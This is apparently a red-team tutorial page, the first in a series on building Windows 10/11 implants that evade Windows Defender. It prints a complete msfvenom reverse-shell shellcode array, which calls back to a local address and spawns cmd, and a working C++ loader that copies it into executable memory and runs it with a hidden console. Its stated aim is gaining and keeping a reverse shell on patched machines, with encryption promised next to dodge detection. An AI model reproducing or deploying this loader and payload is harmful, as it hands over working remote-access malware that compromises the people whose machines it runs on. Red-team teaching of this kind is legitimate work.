Page cover image

achieving access: implantv1

Using classic methodology to get develop a detectable payload on Windows 10 and Windows 11. We'll use this as a springboard to more successful implants in the following sections

Introduction

Malware development is coming back into vogue, and with its renewed relevance in mainstream red teaming it's important to review the basics, and some new things we've covered in the Deceiving Defender series that can enable more robust malware development for beginner and intermediate-level Red Team operators. Some of the material for this course was inspired by Sektor7 courses developed by reenz0h, check those out if you find the material covered in this series interesting.

In this series of writeups, what we're going to be interested in is achieving a classic reverse shell from up-to-date Windows 10 and Windows 11 machines. We have three goals in mind:

  1. Initially survive on disk

  2. Establish reverse shell

  3. Survive on disk after we close the reverse shell

Making the payload

For this part of the series, we'll be using a standard msfvenom payload.

We're going to begin with msfvenom because it is the de facto standard for open-source payload generation, and most Pentesters and Red Teamers have some experience using this. Additionally, msfvenom payloads are signatured on Windows Defender, and that will force us to explore some obfuscation techniques that we would otherwise be able to forgo.

The code in C++

We write the following code to deploy our reverse shell in a folder excluded from Windows Defender scanning in order to validate that our code works.

#include <Windows.h>


unsigned char payload[] = { 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x0, 0x0, 0x0, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0xf, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x2, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x1, 0xd0, 0x8b, 0x80, 0x88, 0x0, 0x0, 0x0, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x1, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x1, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x1, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x3, 0x4c, 0x24, 0x8, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x1, 0xd0, 0x66, 0x41, 0x8b, 0xc, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x1, 0xd0, 0x41, 0x8b, 0x4, 0x88, 0x48, 0x1, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xbe, 0x77, 0x73, 0x32, 0x5f, 0x33, 0x32, 0x0, 0x0, 0x41, 0x56, 0x49, 0x89, 0xe6, 0x48, 0x81, 0xec, 0xa0, 0x1, 0x0, 0x0, 0x49, 0x89, 0xe5, 0x49, 0xbc, 0x2, 0x0, 0x23, 0x29, 0xc0, 0xa8, 0x0, 0xd0, 0x41, 0x54, 0x49, 0x89, 0xe4, 0x4c, 0x89, 0xf1, 0x41, 0xba, 0x4c, 0x77, 0x26, 0x7, 0xff, 0xd5, 0x4c, 0x89, 0xea, 0x68, 0x1, 0x1, 0x0, 0x0, 0x59, 0x41, 0xba, 0x29, 0x80, 0x6b, 0x0, 0xff, 0xd5, 0x50, 0x50, 0x4d, 0x31, 0xc9, 0x4d, 0x31, 0xc0, 0x48, 0xff, 0xc0, 0x48, 0x89, 0xc2, 0x48, 0xff, 0xc0, 0x48, 0x89, 0xc1, 0x41, 0xba, 0xea, 0xf, 0xdf, 0xe0, 0xff, 0xd5, 0x48, 0x89, 0xc7, 0x6a, 0x10, 0x41, 0x58, 0x4c, 0x89, 0xe2, 0x48, 0x89, 0xf9, 0x41, 0xba, 0x99, 0xa5, 0x74, 0x61, 0xff, 0xd5, 0x48, 0x81, 0xc4, 0x40, 0x2, 0x0, 0x0, 0x49, 0xb8, 0x63, 0x6d, 0x64, 0x0, 0x0, 0x0, 0x0, 0x0, 0x41, 0x50, 0x41, 0x50, 0x48, 0x89, 0xe2, 0x57, 0x57, 0x57, 0x4d, 0x31, 0xc0, 0x6a, 0xd, 0x59, 0x41, 0x50, 0xe2, 0xfc, 0x66, 0xc7, 0x44, 0x24, 0x54, 0x1, 0x1, 0x48, 0x8d, 0x44, 0x24, 0x18, 0xc6, 0x0, 0x68, 0x48, 0x89, 0xe6, 0x56, 0x50, 0x41, 0x50, 0x41, 0x50, 0x41, 0x50, 0x49, 0xff, 0xc0, 0x41, 0x50, 0x49, 0xff, 0xc8, 0x4d, 0x89, 0xc1, 0x4c, 0x89, 0xc1, 0x41, 0xba, 0x79, 0xcc, 0x3f, 0x86, 0xff, 0xd5, 0x48, 0x31, 0xd2, 0x48, 0xff, 0xca, 0x8b, 0xe, 0x41, 0xba, 0x8, 0x87, 0x1d, 0x60, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x6, 0x7c, 0xa, 0x80, 0xfb, 0xe0, 0x75, 0x5, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x0, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5 };
size_t payload_len = sizeof(payload);

int main(int argc, char * argv[])
{
	DWORD dwError = ERROR_SUCCESS;
	LPVOID exec_mem = NULL;
	char lpFileName[200];
	LPSTR out = NULL;
	HANDLE th = NULL;
	
	FreeConsole();
	
	//allocate executable payload in memory
	exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	
	//copy our encrypted payload into that memory
	RtlMoveMemory(exec_mem, payload, payload_len);
	
	//create thread with our payload running
	th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
	if(th != NULL){
		WaitForSingleObject(th, -1);
	}


	return 0;
}

This is a pretty standard payload delivery code, and we obviously get caught by Windows Defender when we move it to our test folder.

If we run ThreatCheck on implant.exe we find that it's our payload that's causing issues, so lets implement some encryption in the next version of our implant.

Last updated